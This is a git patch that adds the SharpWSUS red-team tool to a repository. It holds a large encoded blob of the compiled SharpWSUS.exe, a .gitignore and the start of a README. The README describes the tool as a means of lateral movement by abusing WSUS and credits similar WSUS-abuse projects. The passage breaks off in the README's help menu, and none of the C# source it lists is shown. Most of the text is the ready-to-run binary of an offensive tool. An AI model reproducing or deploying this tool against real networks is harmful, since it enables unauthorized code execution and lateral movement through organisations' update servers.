From c7042c8e663c37e683b24f5dc82457a00625478c Mon Sep 17 00:00:00 2001 From: cmahrl Date: Fri, 22 Nov 2024 11:36:04 -0800 Subject: [PATCH] nettitude/SharpWSUS@53b1a71754ef44118b3756dd9ff9b68fadd97fae --- bin/SharpWSUS.exe | Bin 0 -> 50688 bytes repos/SharpWSUS/.gitignore | 8 + repos/SharpWSUS/README.md | 65 +++++ repos/SharpWSUS/SharpWSUS.sln | 25 ++ .../SharpWSUS/Args/ArgumentParser.cs | 43 +++ .../SharpWSUS/Args/ArgumentParserResult.cs | 23 ++ .../SharpWSUS/Args/CommandCollection.cs | 49 ++++ repos/SharpWSUS/SharpWSUS/Args/Info.cs | 55 ++++ repos/SharpWSUS/SharpWSUS/Commands/Approve.cs | 81 ++++++ repos/SharpWSUS/SharpWSUS/Commands/Check.cs | 46 ++++ repos/SharpWSUS/SharpWSUS/Commands/Create.cs | 128 +++++++++ repos/SharpWSUS/SharpWSUS/Commands/Delete.cs | 81 ++++++ .../SharpWSUS/SharpWSUS/Commands/ICommand.cs | 9 + repos/SharpWSUS/SharpWSUS/Commands/Inspect.cs | 31 +++ repos/SharpWSUS/SharpWSUS/Commands/Locate.cs | 21 ++ repos/SharpWSUS/SharpWSUS/Program.cs | 47 ++++ .../SharpWSUS/Properties/AssemblyInfo.cs | 36 +++ repos/SharpWSUS/SharpWSUS/SharpWSUS.csproj | 74 ++++++ repos/SharpWSUS/SharpWSUS/app.config | 3 + repos/SharpWSUS/SharpWSUS/lib/Build.cs | 245 ++++++++++++++++++ repos/SharpWSUS/SharpWSUS/lib/ClFile.cs | 63 +++++ repos/SharpWSUS/SharpWSUS/lib/ClGuid.cs | 30 +++ repos/SharpWSUS/SharpWSUS/lib/Connect.cs | 39 +++ repos/SharpWSUS/SharpWSUS/lib/Enum.cs | 135 ++++++++++ repos/SharpWSUS/SharpWSUS/lib/Group.cs | 178 +++++++++++++ repos/SharpWSUS/SharpWSUS/lib/Reg.cs | 86 ++++++ repos/SharpWSUS/SharpWSUS/lib/Server.cs | 140 ++++++++++ repos/SharpWSUS/SharpWSUS/lib/Status.cs | 150 +++++++++++ 28 files changed, 1891 insertions(+) create mode 100644 bin/SharpWSUS.exe create mode 100644 repos/SharpWSUS/.gitignore create mode 100644 repos/SharpWSUS/README.md create mode 100644 repos/SharpWSUS/SharpWSUS.sln create mode 100644 repos/SharpWSUS/SharpWSUS/Args/ArgumentParser.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Args/ArgumentParserResult.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Args/CommandCollection.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Args/Info.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Commands/Approve.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Commands/Check.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Commands/Create.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Commands/Delete.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Commands/ICommand.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Commands/Inspect.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Commands/Locate.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Program.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Properties/AssemblyInfo.cs create mode 100644 repos/SharpWSUS/SharpWSUS/SharpWSUS.csproj create mode 100644 repos/SharpWSUS/SharpWSUS/app.config create mode 100644 repos/SharpWSUS/SharpWSUS/lib/Build.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/ClFile.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/ClGuid.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/Connect.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/Enum.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/Group.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/Reg.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/Server.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/Status.cs diff --git a/bin/SharpWSUS.exe b/bin/SharpWSUS.exe new file mode 100644 index 0000000000000000000000000000000000000000..26680bdf8e2e6f873613db2aa58d09ae905169a5 GIT binary patch literal 50688 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 literal 0 HcmV?d00001 diff --git a/repos/SharpWSUS/.gitignore b/repos/SharpWSUS/.gitignore new file mode 100644 index 000000000..b1c227559 --- /dev/null +++ b/repos/SharpWSUS/.gitignore @@ -0,0 +1,8 @@ +.vs +*.user +[Dd]ebug/ +[Rr]elease/ +[Bb]in/ +[Oo]bj/ +.DS_Store + diff --git a/repos/SharpWSUS/README.md b/repos/SharpWSUS/README.md new file mode 100644 index 000000000..d0dc42ea3 --- /dev/null +++ b/repos/SharpWSUS/README.md @@ -0,0 +1,65 @@ +# SharpWSUS + +SharpWSUS is a CSharp tool for lateral movement through WSUS. There is a corresponding blog (https://labs.nettitude.com/blog/introducing-sharpwsus/) which has more detailed information about the tooling, use case and detection. + +## Credits + +Massive credit to the below resources that really did 90% of this for me. This tool is just an enhancement of the below for C2 reliability and flexibility. + +* https://github.com/AlsidOfficial/WSUSpendu - powershell tool for abusing WSUS +* https://github.com/ThunderGunExpress/Thunder_Woosus - Csharp tool for abusing WSUS + +## Help Menu + +``` + ____ _ __ ______ _ _ ____ +/ ___|| 